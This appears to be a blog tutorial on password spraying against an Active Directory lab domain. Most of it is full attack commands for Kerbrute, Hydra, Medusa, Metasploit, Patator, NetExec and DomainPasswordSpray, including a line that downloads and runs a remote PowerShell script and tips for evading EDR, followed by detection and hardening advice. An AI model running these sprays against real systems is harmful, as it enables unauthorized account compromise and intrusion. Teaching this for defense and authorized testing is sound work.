Listen to this Post
Introduction:
Password spraying is a low-and-slow authentication attack where an adversary tests a single weak password (e.g., Password@1, Welcome123) against hundreds of usernames, deliberately staying below account lockout thresholds. Unlike traditional brute‑force attacks that hammer one account with many passwords, password spraying flips the model – one password, many users – making it exceptionally stealthy and effective against Active Directory (AD) environments.
Learning Objectives:
- Understand the mechanics of password spraying, why it bypasses typical lockout policies, and how attackers enumerate valid usernames.
- Execute password spraying attacks using seven industry‑standard tools: Kerbrute, Hydra, Medusa, Metasploit, Patator, NetExec, and DomainPasswordSpray.
- Implement defensive measures, including detection rules, smart lockout policies, and SIEM monitoring to mitigate spraying attacks.
You Should Know:
- Reconnaissance & Username Enumeration – The Foundation of Spraying
Before spraying, an attacker needs a high‑quality username list. Common sources include OSINT (LinkedIn, breached databases), LDAP anonymous queries, or Kerberos pre‑authentication probes. In our lab, the target domain is `ignite.local` with a Domain Controller at 192.168.1.7. A typical `users.txt` contains 20–50 candidate usernames. Build your own using these commands:
Linux – Extract users from a domain via Kerberos (without credentials):
Using kerbrute to enumerate valid usernames (stealthy) ./kerbrute_linux_amd64 userenum --dc 192.168.1.7 -d ignite.local usernames_wordlist.txt
Windows – Enumerate AD users with authenticated PowerShell (if you already have a foothold):
Requires RSAT or AD module Get-ADUser -Filter -Properties SamAccountName | Select-Object -ExpandProperty SamAccountName | Out-File users.txt
Step‑by‑step:
- Gather potential usernames from email addresses, LinkedIn, or GitHub.
- Save them in `users.txt` (one username per line).
- Validate usernames using Kerbrute userenum (no password needed) to filter active accounts.
2. Kerbrute – Kerberos Pre‑Authentication Password Spraying
Kerbrute abuses AS‑REQ messages to test passwords without generating Windows Event ID 4625 (failed logon) on the Domain Controller. It sends requests directly to port 88 and is the stealthiest AD spraying tool.
Download & execute (Linux):
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 chmod +x kerbrute_linux_amd64 ./kerbrute_linux_amd64 passwordspray --dc 192.168.1.7 -d ignite.local users.txt Password@1
Expected output:
`[+] VALID LOGIN: [email protected]:Password@1`
`[+] VALID LOGIN: [email protected]:Password@1`
What this does:
Kerbrute sends an AS‑REQ for each username with the candidate password. If the KDC returns success, the credential is valid. Because it never triggers a full NTLM logon, many EDR solutions miss it.
3. Hydra – SSH Password Spraying
When SSH is exposed on the domain controller or Linux servers, Hydra can spray across multiple users efficiently.
Command:
hydra -L users.txt -p Password@1 ssh://192.168.1.7 -t 4 -V -f
– `-L` : list of usernames
– `-p` : single password to spray
– `-t 4` : four threads (low and slow)
– `-f` : exit after first valid credential
Step‑by‑step:
- Ensure SSH is enabled on the target (port 22).
- Run the hydra command; it will attempt each username with the same password.
- On success, you’ll see
[ssh] host: 192.168.1.7 login: jsmith password: Password@1</code>.</li> </ol> <h2 style="color: yellow;">4. Medusa & Metasploit – SMB Password Spraying</h2> SMB is ubiquitous on Windows networks. Both Medusa and Metasploit’s `smb_login` module allow slow‑paced spraying to avoid lockouts. <h2 style="color: yellow;">Medusa (Linux):</h2> [bash] medusa -h 192.168.1.7 -U users.txt -p Password@1 -M smbnt -t 5 -O medusa_output.txt
Metasploit (Linux/Windows):
msfconsole msf6 > use auxiliary/scanner/smb/smb_login msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.1.7 msf6 auxiliary(scanner/smb/smb_login) > set USER_FILE /path/to/users.txt msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /path/to/passwords.txt or set PASSWORD Password@1 msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS false msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE true msf6 auxiliary(scanner/smb/smb_login) > run
Key takeaway:
Set `THREADS` to a low value (e.g., 3–5) to avoid account lockouts. SMB spraying generates event ID 4625, so it is noisier than Kerbrute but often still effective if lockout threshold is >5.
5. Patator – Multi‑Protocol Brute‑Forcer with Fine Control
Patator is a modular, multi‑purpose brute‑forcing tool written in Python. It excels at SMB spraying with detailed error handling.
Installation:
git clone https://github.com/lanjelot/patator.git cd patator
SMB spraying command:
./patator.py smb_login host=192.168.1.7 user=FILE0 password=Password@1 -x ignore:fgrep='STATUS_LOGON_FAILURE' -x ignore,reset,retry:fgrep='STATUS_ACCOUNT_LOCKED_OUT' 0=users.txt
What it does:
Patator cycles through each username, ignoring failed logon messages but stopping if an account locks out. The `-x` flags allow granular control over which errors to ignore or retry.
- NetExec over RDP – Spraying Remote Desktop Protocol
NetExec (formerly CrackMapExec) supports password spraying over RDP, which can be useful when SMB is blocked but RDP is open.
Command:
nxc rdp 192.168.1.7 -u users.txt -p Password@1 --continue-on-success
- `--continue-on-success` : keeps spraying even after finding a valid credential (useful for finding all vulnerable accounts)
Step‑by‑step:
1. Install NetExec: `pipx install netexec`
2. Run the command above.
- Valid credentials will appear as
[+] 192.168.1.7:3389 - user:jsmith password:Password@1.
7. DomainPasswordSpray – PowerShell On‑Host Attack
When you already have a foothold on a Windows machine inside the domain, this PowerShell script is the most native method.
Download & execute:
Download script IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1') Spray a single password Invoke-DomainPasswordSpray -Password Password@1 -OutFile sprayed-creds.txtWhat it does:
The script enumerates all domain users via ADSI, then attempts to authenticate using LDAP with the given password. It automatically respects domain lockout policies by adding delays between attempts. Output saved to
sprayed-creds.txt.8. Defensive Recommendations – Detecting & Mitigating Spraying
Step‑by‑step to harden your AD:
- Set a sensible account lockout policy (Group Policy):
- Account lockout threshold: 5 invalid attempts
- Lockout duration: 15 minutes
- Reset lockout counter after: 15 minutes
This forces attackers to wait or reduces spray efficiency.- Enable Smart Lockout (Azure AD / Entra ID):
- Tracks malicious sign‑ins from known bad IPs and blocks them while allowing legitimate users.
3. Monitor Event IDs:
- 4625 (failed logon) – Look for many different accounts failing with the same logon type 3 (network) or 10 (RDP).
- 4771 (Kerberos pre‑authentication failed) – Detect Kerbrute‑style spraying.
- 4648 (logon with explicit credentials) – May indicate credential replay.
4. SIEM query example (KQL):
SecurityEvent | where EventID == 4625 | summarize FailedAttempts = count(), Accounts = dcount(Account) by TargetUserName, IpAddress, LogonProcessName | where FailedAttempts > 3 and Accounts > 5
This detects a single source IP attempting to log on with many different accounts.
- Enforce MFA – Even valid sprayed credentials become useless without a second factor.
What Undercode Say:
- Key Takeaway 1: Password spraying is not a complex exploit – it abuses the human tendency to use weak, reused passwords. Defenders often focus on perimeter attacks while leaving credential hygiene as the weakest link. One compromised account with `Password@1` can lead to domain admin within hours.
- Key Takeaway 2: Tools like Kerbrute and DomainPasswordSpray show that stealth depends on protocol choice and timing. Kerberos‑based spraying leaves fewer forensic artifacts than NTLM or SMB spraying, making it a red team’s first choice. Defenders must monitor port 88 traffic and AS‑REQ failures (Event 4771) to catch this.
Analysis (10 lines):
Password spraying remains a top initial access vector because it mimics normal authentication failures – users legitimately mistype passwords every day. The attack’s effectiveness lies in its patience: one password attempt per account per hour, spread over days. Most lockout policies (e.g., 5 fails in 15 minutes) are easily bypassed with low‑and‑slow spraying. Real‑world breaches, from ransomware gangs to nation‑state APTs, consistently use spraying after harvesting usernames from LinkedIn or breached databases. Defenders often over‑rely on password complexity instead of lockout thresholds and anomaly detection. The rise of MFA has reduced spraying’s impact, but many legacy systems and service accounts remain unprotected. Red teams should always test spraying against their own environment before adversaries do. For defenders, the most cost‑effective win is to implement smart lockout and monitor for “many accounts, one password” patterns using a SIEM. Finally, user education that rejects common passwords (via Azure AD Password Protection) directly negates the attacker’s wordlist.
Expected Output:
After running the Kerbrute command against `ignite.local` with `users.txt` containing 24 usernames and the password
Password@1, the expected output is:2025/01/15 10:30:15 > Using KDC(s): 2025/01/15 10:30:15 > 192.168.1.7:88 2025/01/15 10:30:15 > [+] VALID LOGIN: [email protected]:Password@1 2025/01/15 10:30:16 > [+] VALID LOGIN: [email protected]:Password@1 2025/01/15 10:30:17 > [-] INVALID LOGIN: [email protected]:Password@1 ... 2025/01/15 10:30:25 > Done! 2 valid credentials found (0.013 seconds).
This confirms that spraying successfully recovered two valid domain accounts, providing initial access for lateral movement.
Prediction:
- +1 Adoption of passwordless authentication (FIDO2, Windows Hello for Business) will eventually make traditional spraying obsolete. Organizations that invest in passwordless today will eliminate this attack vector entirely by 2028.
- -1 AI‑generated username enumeration from public data will increase spraying success rates. Attackers using LLMs to guess common username formats (first.last, flast, etc.) will scale reconnaissance, making spraying even more effective against poorly configured AD.
- -1 Legacy on‑prem AD without MFA will remain a prime target. Many enterprises maintain hybrid environments where spraying bypasses cloud MFA because legacy protocols (NTLM, Kerberos) still work. Expect spraying to dominate ransomware initial access for the next 2–3 years.
- +1 SIEM behavioral analytics will mature. Cloud‑native tools like Microsoft Sentinel now include built‑in password‑spray detection (e.g., `IdentityInfoEvents` with anomalous login patterns), reducing detection time from days to minutes.
- -1 Service accounts and generic accounts are often excluded from lockout policies, making them perfect spraying targets. Attackers will pivot from user accounts to these high‑privilege, non‑MFA accounts as defenders harden normal users.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by ThousandsIT/Security Reporter URL:
Reported By: Password Spraying - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
